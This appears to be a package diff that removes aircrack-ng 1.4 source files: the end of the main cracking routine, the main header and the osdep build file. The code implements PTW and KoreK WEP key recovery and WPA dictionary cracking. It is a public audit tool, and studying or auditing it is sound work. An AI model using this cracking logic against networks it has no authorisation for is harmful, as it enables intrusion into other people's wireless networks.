-						printf("WEP (%ld IVs)\n", ap_cur->nb_ivs);
-						break;
-
-					case 3:
-						printf("WPA (%d handshake%s)\n",
-							   ap_cur->wpa.state == 7,
-							   (ap_cur->wpa.pmkid[0] != 0x00 ? ", with PMKID"
-															 : ""));
-						break;
-
-					default:
-						printf("Unknown\n");
-						break;
-				}
-
-				i++;
-			}
-			c_avl_iterator_destroy(it);
-			it = NULL;
-
-			printf("\n");
-
-			if (c_avl_size(access_points) > 1)
-			{
-				do
-				{
-					printf("Index number of target network ? ");
-					fflush(stdout);
-					ret1 = 0;
-					while (!ret1) ret1 = scanf("%127s", buf);
-
-					if ((z = atoi(buf)) < 1) continue;
-
-					i = 1;
-					c_avl_iterator_t * it = c_avl_get_iterator(access_points);
-					while (c_avl_iterator_next(it, &key, (void **) &ap_cur) == 0
-						   && i < z)
-					{
-						i++;
-					}
-					c_avl_iterator_destroy(it);
-					it = NULL;
-					if (i == z)
-					{
-						ap_cur->target = 1;
-						c_avl_insert(targets, ap_cur->bssid, ap_cur);
-					}
-				} while (z < 0 || ap_cur == NULL);
-			}
-			else if (c_avl_size(access_points) == 1)
-			{
-				printf("Choosing first network as target.\n");
-				c_avl_iterator_t * it = c_avl_get_iterator(access_points);
-				c_avl_iterator_next(it, &key, (void **) &ap_cur);
-				c_avl_iterator_destroy(it);
-				it = NULL;
-				ap_cur->target = 1;
-				c_avl_insert(targets, ap_cur->bssid, ap_cur);
-			}
-			else
-			{
-				// no access points
-			}
-
-			printf("\n");
-
-			// Release memory of all APs we don't care about currently.
-			ap_avl_release_unused(ap_cur);
-
-			memcpy(opt.bssid, ap_cur->bssid, 6);
-			opt.bssid_set = 1;
-
-			// Copy BSSID to the cracking session
-			if (cracking_session && opt.dict != NULL)
-			{
-				memcpy(cracking_session->bssid, ap_cur->bssid, 6);
-			}
-
-			/* Disable PTW if dictionary used in WEP */
-			if (ap_cur->crypt == 2 && opt.dict != NULL)
-			{
-				opt.do_ptw = 0;
-			}
-		}
-
-		// ac_aplist_free();
-		optind = old;
-		id = 0;
-	}
-
-	id = 0;
-	nb_pkt = 0;
-	nb_eof = 0;
-
-	signal(SIGINT, sighandler);
-
-	if (!opt.is_quiet)
-	{
-		printf("Reading packets, please wait...\r");
-		fflush(stdout);
-	}
-
-	do
-	{
-		char * optind_arg
-			= (restore_session) ? cracking_session->argv[optind] : argv[optind];
-		if (strcmp(optind_arg, "-") == 0) opt.no_stdin = 1;
-
-		packet_reader_t * request
-			= (packet_reader_t *) calloc(1, sizeof(packet_reader_t));
-		if (NULL == request) perror("malloc");
-
-		request->mode = PACKET_READER_READ_MODE;
-		request->filename = optind_arg;
-
-		if (pthread_create(
-				&(tid[id]), NULL, (void *) packet_reader_thread, request)
-			!= 0)
-		{
-			perror("pthread_create failed");
-			goto exit_main;
-		}
-
-		id++;
-		if (id >= MAX_THREADS) break;
-	} while (++optind < nbarg);
-
-	/* wait until each thread reaches EOF */
-
-	intr_read = 0;
-	for (i = 0; i < id; i++)
-	{
-		pthread_join(tid[i], NULL);
-		tid[i] = 0;
-	}
-	intr_read = 1;
-
-	if (!opt.is_quiet && !opt.no_stdin)
-	{
-		erase_line(0);
-		printf("Read %ld packets.\n\n", nb_pkt);
-	}
-
-	// 	#ifndef DO_PGO_DUMP
-	// 	signal( SIGINT, SIG_DFL );	 /* we want sigint to stop and dump pgo data
-	// */
-	// 	#endif
-
-	/* mark the targeted access point(s) */
-	void * key;
-	c_avl_iterator_t * it = c_avl_get_iterator(access_points);
-	while (c_avl_iterator_next(it, &key, (void **) &ap_cur) == 0)
-	{
-		if (memcmp(opt.maddr, BROADCAST, 6) == 0
-			|| (opt.bssid_set && !memcmp(opt.bssid, ap_cur->bssid, 6))
-			|| (opt.essid_set && !strcmp(opt.essid, ap_cur->essid)))
-		{
-			ap_cur->target = 1;
-		}
-
-		if (ap_cur->target)
-		{
-			c_avl_insert(targets, ap_cur->bssid, ap_cur);
-		}
-	}
-	c_avl_iterator_destroy(it);
-	it = NULL;
-
-	printf("%d potential targets\n\n", c_avl_size(targets));
-	ap_cur = get_first_target();
-
-	if (ap_cur == NULL)
-	{
-		printf("No matching network found - check your %s.\n",
-			   (opt.essid_set) ? "essid" : "bssid");
-
-		goto exit_main;
-	}
-
-	if (ap_cur->crypt < 2)
-	{
-		switch (ap_cur->crypt)
-		{
-			case 0:
-				printf("Target '%s' network doesn't seem encrypted.\n",
-					   ap_cur->essid);
-				break;
-
-			default:
-				printf("Got no data packets from target network!\n");
-				break;
-		}
-
-		goto exit_main;
-	}
-
-	/* create the cracker<->master communication pipes */
-
-	for (i = 0; i < opt.nbcpu; i++)
-	{
-		unused = pipe(mc_pipe[i]);
-		unused = pipe(cm_pipe[i]);
-
-		if (opt.amode <= 1 && opt.nbcpu > 1 && opt.do_brute && opt.do_mt_brute)
-		{
-			unused = pipe(bf_pipe[i]);
-			bf_nkeys[i] = 0;
-		}
-	}
-
-__start:
-	/* launch the attack */
-
-	// Start cracking session
-	if (cracking_session)
-	{
-		if (pthread_create(&cracking_session_tid,
-						   NULL,
-						   (void *) session_save_thread,
-						   (void *) NULL)
-			!= 0)
-		{
-			perror("pthread_create failed");
-			goto exit_main;
-		}
-	}
-
-	pthread_mutex_lock(&mx_nb);
-	// Set the amount of keys tried
-	nb_tried = (cracking_session && restore_session)
-				   ? cracking_session->nb_keys_tried
-				   : 0;
-	nb_kprev = 0;
-	pthread_mutex_unlock(&mx_nb);
-
-	chrono(&t_begin, 1);
-	chrono(&t_stats, 1);
-	chrono(&t_kprev, 1);
-
-	signal(SIGWINCH, sighandler);
-
-	if (opt.amode == 1) goto crack_wep;
-
-	if (opt.amode >= 2) goto crack_wpa;
-
-	if (ap_cur->crypt == 2)
-	{
-	crack_wep:
-
-		/* Default key length: 128 bits */
-		if (opt.keylen == 0) opt.keylen = 13;
-
-		if (j + opt.do_brute > 4)
-		{
-			printf(
-				"Bruteforcing more than 4 bytes will take too long, aborting!");
-			goto exit_main;
-		}
-
-		for (i = 0; i < opt.do_brute; i++)
-		{
-			opt.brutebytes[j + i] = opt.keylen - 1 - i;
-		}
-
-		opt.do_brute += j;
-
-		if (opt.ffact == 0)
-		{
-			if (opt.do_ptw)
-				opt.ffact = 2;
-			else
-			{
-				if (!opt.do_testy)
-				{
-					if (opt.keylen == 5)
-						opt.ffact = 5;
-					else
-						opt.ffact = 2;
-				}
-				else
-					opt.ffact = 30;
-			}
-		}
-
-		memset(&wep, 0, sizeof(wep));
-
-		if (opt.do_ptw)
-		{
-			if (!opt.is_quiet)
-				printf("Attack will be restarted every %d captured ivs.\n",
-					   PTW_TRY_STEP);
-			opt.next_ptw_try
-				= ap_cur->nb_ivs_vague - (ap_cur->nb_ivs_vague % PTW_TRY_STEP);
-			do
-			{
-				if (ap_cur->nb_ivs_vague >= opt.next_ptw_try)
-				{
-					if (!opt.is_quiet)
-						printf("Starting PTW attack with %ld ivs.\n",
-							   ap_cur->nb_ivs_vague);
-					ret = crack_wep_ptw(ap_cur);
-
-					if (opt.oneshot == 1 && ret == FAILURE)
-					{
-						printf("   Attack failed. Possible reasons:\n\n"
-							   "     * Out of luck: you must capture more IVs. "
-							   "Usually, 104-bit WEP\n"
-							   "       can be cracked with about 80 000 IVs, "
-							   "sometimes more.\n\n"
-							   "     * Try to raise the fudge factor (-f).\n");
-						ret = 0;
-					}
-
-					if (ret)
-					{
-						opt.next_ptw_try += PTW_TRY_STEP;
-						printf("Failed. Next try with %d IVs.\n",
-							   opt.next_ptw_try);
-					}
-				}
-				if (ret) usleep(10000);
-			} while (ret != 0);
-		}
-
-		else if (opt.dict != NULL)
-		{
-			ret = crack_wep_dict();
-		}
-		else
-		{
-			for (i = 0; i < opt.nbcpu; i++)
-			{
-				/* start one thread per cpu */
-
-				if (opt.amode <= 1 && opt.nbcpu > 1 && opt.do_brute
-					&& opt.do_mt_brute)
-				{
-					if (pthread_create(&(tid[id]),
-									   NULL,
-									   (void *) inner_bruteforcer_thread,
-									   (void *) (long) i)
-						!= 0)
-					{
-						perror("pthread_create failed");
-						goto exit_main;
-					}
-					id++;
-				}
-
-				if (pthread_create(&(tid[id]),
-								   NULL,
-								   (void *) crack_wep_thread,
-								   (void *) (long) i)
-					!= 0)
-				{
-					perror("pthread_create failed");
-					goto exit_main;
-				}
-				id++;
-			}
-
-			if (!opt.do_testy)
-			{
-				do
-				{
-					ret = do_wep_crack1(0);
-				} while (ret == RESTART);
-
-				if (ret == FAILURE)
-				{
-					printf("   Attack failed. Possible reasons:\n\n"
-						   "     * Out of luck: you must capture more IVs. "
-						   "Usually, 104-bit WEP\n"
-						   "       can be cracked with about one million IVs, "
-						   "sometimes more.\n\n"
-						   "     * If all votes seem equal, or if there are "
-						   "many negative votes,\n"
-						   "       then the capture file is corrupted, or the "
-						   "key is not static.\n\n"
-						   "     * A false positive prevented the key from "
-						   "being found.  Try to\n"
-						   "       disable each korek attack (-k 1 .. 17), "
-						   "raise the fudge factor\n"
-						   "       (-f)");
-					if (opt.do_testy)
-						printf("and try the experimental bruteforce attacks "
-							   "(-y).");
-					printf("\n");
-				}
-			}
-			else
-			{
-				for (i = opt.keylen - 3; i < opt.keylen - 2; i++)
-				{
-					do
-					{
-						ret = do_wep_crack2(i);
-					} while (ret == RESTART);
-
-					if (ret == SUCCESS) break;
-				}
-
-				if (ret == FAILURE)
-				{
-					printf("   Attack failed. Possible reasons:\n\n"
-						   "     * Out of luck: you must capture more IVs. "
-						   "Usually, 104-bit WEP\n"
-						   "       can be cracked with about one million IVs, "
-						   "sometimes more.\n\n"
-						   "     * If all votes seem equal, or if there are "
-						   "many negative votes,\n"
-						   "       then the capture file is corrupted, or the "
-						   "key is not static.\n\n"
-						   "     * A false positive prevented the key from "
-						   "being found.  Try to\n"
-						   "       disable each korek attack (-k 1 .. 17), "
-						   "raise the fudge factor\n"
-						   "       (-f)");
-					if (opt.do_testy)
-						printf("or try the standard attack mode instead (no -y "
-							   "option).");
-					printf("\n");
-				}
-			}
-		}
-	}
-
-	if (ap_cur->crypt >= 3)
-	{
-	crack_wpa:
-		dso_ac_crypto_engine_init(&engine);
-
-		cpuset = ac_cpuset_new();
-		ac_cpuset_init(cpuset);
-		ac_cpuset_distribute(cpuset, opt.nbcpu);
-
-		if (opt.dict == NULL && db == NULL)
-		{
-			goto nodict;
-		}
-
-		ap_cur = get_first_target();
-
-		if (ap_cur == NULL)
-		{
-			printf("No valid WPA handshakes found.\n");
-			goto exit_main;
-		}
-
-		if (memcmp(ap_cur->essid, ZERO, 32) == 0 && !opt.essid_set)
-		{
-			printf("An ESSID is required. Try option -e.\n");
-			goto exit_main;
-		}
-
-		if (opt.essid_set && ap_cur->essid[0] == '\0')
-		{
-			memset(ap_cur->essid, 0, sizeof(ap_cur->essid));
-			strncpy(ap_cur->essid, opt.essid, sizeof(ap_cur->essid) - 1);
-		}
-
-		dso_ac_crypto_engine_set_essid(&engine, (uint8_t *) ap_cur->essid);
-
-		if (db == NULL)
-		{
-			int starting_thread_id = id;
-
-			for (i = 0; i < opt.nbcpu; i++)
-			{
-				if (ap_cur->ivbuf_size)
-				{
-					free(ap_cur->ivbuf);
-					ap_cur->ivbuf = NULL;
-					ap_cur->ivbuf_size = 0;
-				}
-
-				uniqueiv_wipe(ap_cur->uiv_root);
-				ap_cur->uiv_root = NULL;
-				ap_cur->nb_ivs = 0;
-
-				// assumption: an eapol exists.
-				assert(ap_cur->wpa.state > 0);
-
-				/* start one thread per cpu */
-				wpa_data[i].ap = ap_cur;
-				wpa_data[i].thread = i;
-				wpa_data[i].threadid = id;
-				wpa_data[i].nkeys = 17;
-				wpa_data[i].key_buffer
-					= (char *) malloc(wpa_data[i].nkeys * 128);
-				wpa_data[i].front = 0;
-				wpa_data[i].back = 0;
-				memset(wpa_data[i].key, 0, sizeof(wpa_data[i].key));
-				pthread_cond_init(&wpa_data[i].cond, NULL);
-				pthread_mutex_init(&wpa_data[i].mutex, NULL);
-
-				if (pthread_create(&(tid[id]),
-								   NULL,
-								   (void *) (ap_cur->wpa.state == 7
-												 ? crack_wpa_thread
-												 : crack_wpa_pmkid_thread),
-								   (void *) &(wpa_data[i]))
-					!= 0)
-				{
-					perror("pthread_create failed");
-					goto exit_main;
-				}
-
-				ac_cpuset_bind_thread_at(cpuset, tid[id], i);
-
-				id++;
-			}
-
-			ret = do_wpa_crack(); // we feed keys to the cracking threads
-			wpa_wordlists_done = 1; // we tell the threads that they shouldn't
-			// expect more words (don't wait for
-			// parallel crack)
-
-			// we wait for the cracking threads to end
-			for (i = starting_thread_id; i < opt.nbcpu + starting_thread_id;
-				 i++)
-				if (tid[i] != 0)
-				{
-					if (pthread_join(tid[i], NULL) != 0) perror("pthread_join");
-					tid[i] = 0;
-				}
-
-			for (i = 0; i < opt.nbcpu; i++)
-			{
-				if (wpa_data[i].key[0] != 0)
-				{
-					ret = SUCCESS;
-					break;
-				}
-			}
-
-			if (ret == SUCCESS)
-			{
-				if (opt.is_quiet)
-				{
-					printf("KEY FOUND! [ %s ]\n", wpa_data[i].key);
-					clean_exit(SUCCESS);
-				}
-
-				if (opt.l33t)
-				{
-					textstyle(TEXT_BRIGHT);
-					textcolor_fg(TEXT_RED);
-				}
-
-				moveto((80 - 15 - (int) strlen(wpa_data[i].key)) / 2, 8);
-				erase_line(2);
-				printf("KEY FOUND! [ %s ]\n", wpa_data[i].key);
-				move(CURSOR_DOWN, 11);
-
-				if (opt.l33t)
-				{
-					textcolor_normal();
-					textcolor_fg(TEXT_GREEN);
-				}
-
-				clean_exit(SUCCESS);
-			}
-			else
-			{
-				printf("%sPassphrase not in dictionary\n",
-					   (opt.is_quiet ? "" : "\n"));
-
-				if (opt.is_quiet) clean_exit(FAILURE);
-
-				if (opt.stdin_dict)
-				{
-					moveto(30, 5);
-					printf(" %lld", nb_tried);
-				}
-				else
-				{
-					moveto(18, 4);
-					printf("%lld/%lld keys tested ", nb_tried, opt.wordcount);
-					moveto(7, 6);
-					printf("Time left: ");
-					calctime(0,
-							 ((float) nb_tried / (float) opt.wordcount) * 100);
-				}
-
-				moveto(1, 32);
-			}
-
-			printf("\n");
-		}
-#ifdef HAVE_SQLITE
-		else
-		{
-			if (!opt.is_quiet && !_speed_test)
-			{
-				if (opt.l33t) textcolor(TEXT_RESET, TEXT_WHITE, TEXT_BLACK);
-				erase_line(2);
-				if (opt.l33t) textcolor(TEXT_BRIGHT, TEXT_BLUE, TEXT_BLACK);
-				moveto(34, 2);
-				printf("%s", progname);
-			}
-			sql = sqlite3_mprintf(sqlformat, ap_cur->essid);
-			while (1)
-			{
-				rc = sqlite3_exec(db, sql, sql_wpacallback, ap_cur, &zErrMsg);
-				if (rc == SQLITE_LOCKED || rc == SQLITE_BUSY)
-				{
-					fprintf(
-						stdout,
-						"Database is locked or busy. Waiting %is ... %1c    \r",
-						++waited,
-						looper[looperc]);
-					fflush(stdout);
-					looperc = (looperc + 1) % sizeof(looper);
-					sleep(1);
-				}
-				else
-				{
-					if (rc != SQLITE_OK && rc != SQLITE_ABORT)
-					{
-						fprintf(stderr, "SQL error: %s\n", zErrMsg);
-						sqlite3_free(zErrMsg);
-					}
-					if (waited != 0) printf("\n\n");
-					wpa_wordlists_done = 1;
-					break;
-				}
-			}
-			sqlite3_free(sql);
-		}
-#endif
-	}
-
-exit_main:
-
-#if ((defined(__INTEL_COMPILER) || defined(__ICC)) && defined(DO_PGO_DUMP))
-	_PGOPTI_Prof_Dump();
-#endif
-	if (!opt.is_quiet) printf("\n");
-
-	fflush(stdout);
-
-	// 	if( ret == SUCCESS ) kill( 0, SIGQUIT );
-	// 	if( ret == FAILURE ) kill( 0, SIGTERM );
-	clean_exit(ret);
-	/* not reached */
-
-	_exit(ret);
-}

aircrack-ng-1.4.tar.gz/src/aircrack-ng.h Deleted

@@ -1,275 +0,0 @@
-/*
- *  802.11 WEP / WPA-PSK Key Cracker
- *
- *  Copyright (C) 2007-2012 Martin Beck <hirte@aircrack-ng.org>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#ifndef _AIRCRACK_NG_H
-#define _AIRCRACK_NG_H
-
-#include <stdint.h>
-#include <stdio.h>
-#include <time.h>
-#include <sys/time.h>
-#if defined(__FreeBSD__)
-#include <unistd.h>
-#endif
-#include "aircrack-ptw-lib.h"
-#include "eapol.h"
-#include "aircrack-crypto/crypto_engine.h"
-
-#include <pthread.h>
-#include "aircrack-util/avl_tree.h"
-
-#define SUCCESS 0
-#define FAILURE 1
-#define RESTART 2
-
-#ifndef O_BINARY
-#define O_BINARY 0
-#endif
-
-#define MAX_DICTS 128
-
-#define ASCII_LOW_T 0x21
-#define ASCII_HIGH_T 0x7E
-#define ASCII_VOTE_STRENGTH_T 150
-#define ASCII_DISREGARD_STRENGTH 1
-
-#define TEST_MIN_IVS 4
-#define TEST_MAX_IVS 32
-
-#define PTW_TRY_STEP 5000
-
-#define KEYHSBYTES PTW_KEYHSBYTES
-
-#define MAX_THREADS 256
-
-#define CLOSE_IT 100000
-
-extern float chrono(struct timeval * start, int reset);
-
-#define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00"
-#define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06")
-#define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00")
-#define IEEE80211_FC1_DIR_FROMDS 0x02 /* AP ->STA */
-#define KEYLIMIT 1000000
-
-#define N_ATTACKS 17
-
-enum KoreK_attacks
-{
-	A_u15, /* semi-stable  15%             */
-	A_s13, /* stable       13%             */
-	A_u13_1, /* unstable     13%             */
-	A_u13_2, /* unstable ?   13%             */
-	A_u13_3, /* unstable ?   13%             */
-	A_s5_1, /* standard      5% (~FMS)      */
-	A_s5_2, /* other stable  5%             */
-	A_s5_3, /* other stable  5%             */
-	A_u5_1, /* unstable      5% no good ?   */
-	A_u5_2, /* unstable      5%             */
-	A_u5_3, /* unstable      5% no good     */
-	A_u5_4, /* unstable      5%             */
-	A_s3, /* stable        3%             */
-	A_4_s13, /* stable       13% on q = 4    */
-	A_4_u5_1, /* unstable      5% on q = 4    */
-	A_4_u5_2, /* unstable      5% on q = 4    */
-	A_neg /* helps reject false positives */
-};
-
-struct dictfiles
-{
-	off_t dictsize; /* Total file size */
-	off_t dictpos; /* Current position of dictionary */
-	off_t wordcount; /* Total amount of words in dict file */
-	int loaded; /* Have finished processing? */
-};
-
-struct options
-{
-	int amode; /* attack mode          */
-	int essid_set; /* essid set flag       */
-	int bssid_set; /* bssid set flag       */
-	char essid[33]; /* target ESSID         */
-	unsigned char bssid[6]; /* target BSSID         */
-	int nbcpu; /* # of cracker threads
-												 (= # of CPU)         */
-	int is_quiet; /* quiet mode flag      */
-
-	unsigned char debug[64]; /* user-defined WEP key */
-	int debug_row[64]; /* user-defined Row WEP key */
-	unsigned char maddr[6]; /* MAC address filter   */
-	int keylen; /* WEP key length       */
-	int index; /* WEP key index        */
-	float ffact; /* bruteforce factor    */
-	int korek; /* attack strategy      */
-
-	int is_fritz; /* use numeric keyspace */
-	int is_alnum; /* alphanum keyspace    */
-	int is_bcdonly; /* binary coded decimal */
-
-	int do_brute; /* bruteforce last 2 KB */
-	int do_mt_brute; /* bruteforce last 2 KB
-									multithreaded for SMP*/
-	int do_testy; /* experimental attack  */
-	int do_ptw; /* PTW WEP attack */
-
-	char * dicts[MAX_DICTS]; /* dictionary files     */
-	FILE * dict; /* dictionary file      */
-	int nbdict; /* current dict number  */
-	int no_stdin; /* if dict == stdin     */
-	int hexdict[MAX_DICTS]; /* if dict in hex       */
-	long long int wordcount; /* Total wordcount for all dicts*/
-	struct dictfiles dictidx[MAX_DICTS]; /* Dictionary structure		*/
-	int totaldicts; /* total loaded dictionaries	*/
-	int dictfinish; /* finished processing all dicts*/
-	int showASCII; /* Show ASCII version of*/
-	/* the wepkey           */
-
-	int l33t; /* no comment           */
-	int stdin_dict;
-
-	int probability; /* %of correct answers */
-	int votes[N_ATTACKS]; /* votes for korek attacks */
-	int brutebytes[64]; /* bytes to bruteforce */
-	int next_ptw_try;
-
-	int max_ivs;
-
-	char * bssidmerge;
-	unsigned char * firstbssid;
-	struct mergeBSSID * bssid_list_1st;
-
-	struct AP_info * ap;
-
-	int wep_decloak;
-	int ptw_attack;
-
-	int visual_inspection; /* Enabling/disabling visual    */
-	/* inspection of the different  */
-	/* keybytes                     */
-
-	int oneshot; /* Do PTW once */
-
-	char * logKeyToFile;
-
-	int forced_amode; /* signals disregarding automatic detection of encryption
-						 type */
-
-	char * wkp; /* EWSA Project file */
-	char * hccap; /* Hashcat capture file */
-	char * hccapx; /* Hashcat X (3.6+) capture file */
-};
-
-typedef struct
-{
-	int idx, val;
-} vote;
-
-struct WEP_data
-{
-	unsigned char key[64]; /* the current chosen WEP key   */
-	unsigned char * ivbuf; /* buffer holding all the IVs   */
-	int nb_aps; /* number of targeted APs       */
-	long nb_ivs; /* # of unique IVs in buffer    */
-	long nb_ivs_now; /* # of unique IVs available    */
-	int fudge[64]; /* bruteforce level (1 to 256)  */
-	int depth[64]; /* how deep we are in the fudge */
-	vote poll[64][256]; /* KoreK cryptanalysis results  */
-};
-
-struct AP_info
-{
-	unsigned char bssid[6]; /* access point MAC address     */
-	char essid[33]; /* access point identifier      */
-	unsigned char lanip[4]; /* IP address if unencrypted    */
-	unsigned char * ivbuf; /* table holding WEP IV data    */
-	unsigned char ** uiv_root; /* IV uniqueness root struct    */
-	long ivbuf_size; /* IV buffer allocated size     */
-	long nb_ivs; /* total number of unique IVs   */
-	long nb_ivs_clean; /* total number of unique IVs   */
-	long nb_ivs_vague; /* total number of unique IVs   */
-	int crypt; /* encryption algorithm         */
-	int eapol; /* set if EAPOL is present      */
-	int target; /* flag set if AP is a target   */
-	struct ST_info * st_1st; /* DEPRECATED: linked list of stations */
-	c_avl_tree_t * stations; /* AVL tree of stations keyed on MAC*/
-	struct WPA_hdsk wpa; /* valid WPA handshake data     */
-	PTW_attackstate * ptw_clean;
-	PTW_attackstate * ptw_vague;
-};
-
-struct ST_info
-{
-	struct AP_info * ap; /* parent AP                    */
-	struct ST_info * next; /* DEPRECATED: next supplicant*/
-	struct WPA_hdsk wpa; /* WPA handshake data          */
-	unsigned char stmac[6]; /* client MAC address       */
-};
-
-struct mergeBSSID
-{
-	unsigned char bssid[6]; /* BSSID */
-	char unused[2]; /* Alignment */
-	int convert; /* Does this BSSID has to       */
-	/* be converted                 */
-	struct mergeBSSID * next;
-};
-
-#define WPA_DATA_KEY_BUFFER_LENGTH 128
-
-struct WPA_data
-{
-	ac_crypto_engine_t engine;
-	struct AP_info * ap; /* AP information */
-	int thread; /* number of this thread */
-	int threadid; /* id of this thread */
-	int nkeys; /* buffer capacity */
-	char * key_buffer; /* queue as a circular buffer for feeding and consuming
-							keys */
-	int front; /* front marker for the circular buffers */
-	int back; /* back marker for the circular buffers */
-	char key[WPA_DATA_KEY_BUFFER_LENGTH]; /* cracked key (0 while not found) */
-	pthread_cond_t
-		cond; /* condition for waiting when buffer is full until keys are tried
-				 and new keys can be written */
-	pthread_mutex_t mutex;
-};
-
-void show_wep_stats(int B,
-					int force,
-					PTW_tableentry table[PTW_KEYHSBYTES][PTW_n],
-					int choices[KEYHSBYTES],
-					int depth[KEYHSBYTES],
-					int prod);
-
-#endif /* _AIRCRACK_NG_H */

aircrack-ng-1.4.tar.gz/src/aircrack-osdep Deleted

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/Makefile.am Deleted

@@ -1,141 +0,0 @@
-# Aircrack-ng
-#
-# Copyright (C) 2018 Joseph Benden <joe@benden.us>
-#
-# Autotool support was written by: Joseph Benden <joe@benden.us>
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-#
-# In addition, as a special exception, the copyright holders give
-# permission to link the code of portions of this program with the
-# OpenSSL library under certain conditions as described in each
-# individual source file, and distribute linked combinations
-# including the two.
-#
-# You must obey the GNU General Public License in all respects
-# for all of the code used other than OpenSSL.
-#
-# If you modify file(s) with this exception, you may extend this
-# exception to your dnl version of the file(s), but you are not obligated
-# to do so.
-#
-# If you dnl do not wish to do so, delete this exception statement from your
-# version.
-#
-# If you delete this exception statement from all source files in the
-# program, then also delete it here.
-
-SUBDIRS = radiotap
-
-AM_CPPFLAGS = -I$(top_srcdir) \
-              -I$(top_srcdir)/src/include \
-              -I$(top_srcdir)/src \
-              $(LIBNL_CFLAGS)
-
-SRCS_COMMON = network.c file.c
-SRCS = osdep.c $(SRCS_COMMON)
-
-SRCS_APCAP = airpcap.c
-
-SRCS_OBSD = $(SRCS) openbsd.c openbsd_tap.c common.c
-SRCS_NBSD	= $(SRCS) netbsd.c netbsd_tap.c common.c
-SRCS_FBSD	= $(SRCS) freebsd.c freebsd_tap.c common.c
-SRCS_LINUX	= $(SRCS) linux.c linux_tap.c common.c
-SRCS_DUMMY	= $(SRCS) dummy.c dummy_tap.c common.c
-SRCS_CYGWIN	= $(SRCS) cygwin.c cygwin_tap.c common.c
-SRCS_DARWIN = $(SRCS) darwin.c darwin_tap.c common.c
-
-LIBRADIOTAP_LIBS = radiotap/libradiotap.la
-
-if AIRPCAP
-SRCS_CYGWIN    += $(SRCS_APCAP)
-endif
-
-if CYGWIN
-if AIRPCAP
-libaircrack_osdep_la_SOURCES = $(SRCS_CYGWIN)
-libaircrack_osdep_la_CFLAGS = $(AM_CPPFLAGS) $(AIRPCAP_CFLAGS)
-libaircrack_osdep_la_LIBADD = $(AIRPCAP_LIBS) $(LIBRADIOTAP_LIBS) -lsetupapi -liphlpapi
-else
-libaircrack_osdep_la_SOURCES = $(SRCS_CYGWIN)
-endif
-endif
-
-if DARWIN
-libaircrack_osdep_la_SOURCES = $(SRCS_DARWIN)
-endif
-
-if DUMMY
-libaircrack_osdep_la_SOURCES = $(SRCS_DUMMY)
-endif
-
-if FREEBSD
-libaircrack_osdep_la_SOURCES = $(SRCS_FBSD)
-endif
-
-if LINUX
-libaircrack_osdep_la_SOURCES = $(SRCS_LINUX)
-libaircrack_osdep_la_LIBADD = $(LIBNL_LIBS) $(LIBRADIOTAP_LIBS)
-endif
-
-if NETBSD
-libaircrack_osdep_la_SOURCES = $(SRCS_NBSD)
-endif
-
-if OPENBSD
-libaircrack_osdep_la_SOURCES = $(SRCS_OBSD)
-endif
-
-if !AIRPCAP
-libaircrack_osdep_la_LIBADD = $(LIBRADIOTAP_LIBS)
-if CYGWIN
-libaircrack_osdep_la_LIBADD += -lsetupapi -liphlpapi
-endif
-endif
-
-lib_LTLIBRARIES = libaircrack-osdep.la
-libaircrack_osdep_la_LDFLAGS = -release 1.3.0 -no-undefined
-
-EXTRA_DIST = openbsd.c \
-             darwin.c \
-             crctable_osdep.h \
-             common.c \
-             darwin_tap.c \
-             cygwin.c \
-             aircrack_ng_airpcap.h \
-             linux.c \
-             file.c \
-             network.h \
-             osdep.h \
-             byteorder.h \
-             linux_tap.c \
-             common.h \
-             airpcap.c \
-             cygwin.h \
-             netbsd.c \
-             packed.h \
-             freebsd_tap.c \
-             freebsd.c \
-             osdep.c \
-             dummy_tap.c \
-             openbsd_tap.c \
-             dummy.c \
-             netbsd_tap.c \
-             network.c \
-             cygwin_tap.c \
-             channel.h
-
-
-@CODE_COVERAGE_RULES@

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/airpcap.c Deleted

@@ -1,402 +0,0 @@
-/*
-   *  Copyright (c) 2007-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
-   *
-   *  Airpcap stuff
-   *
-   *  This program is free software; you can redistribute it and/or modify
-   *  it under the terms of the GNU General Public License as published by
-   *  the Free Software Foundation; either version 2 of the License, or
-   *  (at your option) any later version.
-   *
-   *  This program is distributed in the hope that it will be useful,
-   *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-   *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-   *  GNU General Public License for more details.
-   *
-   *  You should have received a copy of the GNU General Public License
-   *  along with this program; if not, write to the Free Software
-   *
-   * In addition, as a special exception, the copyright holders give
-   * permission to link the code of portions of this program with the
-   * OpenSSL library under certain conditions as described in each
-   * individual source file, and distribute linked combinations
-   * including the two.
-   * You must obey the GNU General Public License in all respects
-   * for all of the code used other than OpenSSL.  If you modify
-   * file(s) with this exception, you may extend this exception to your
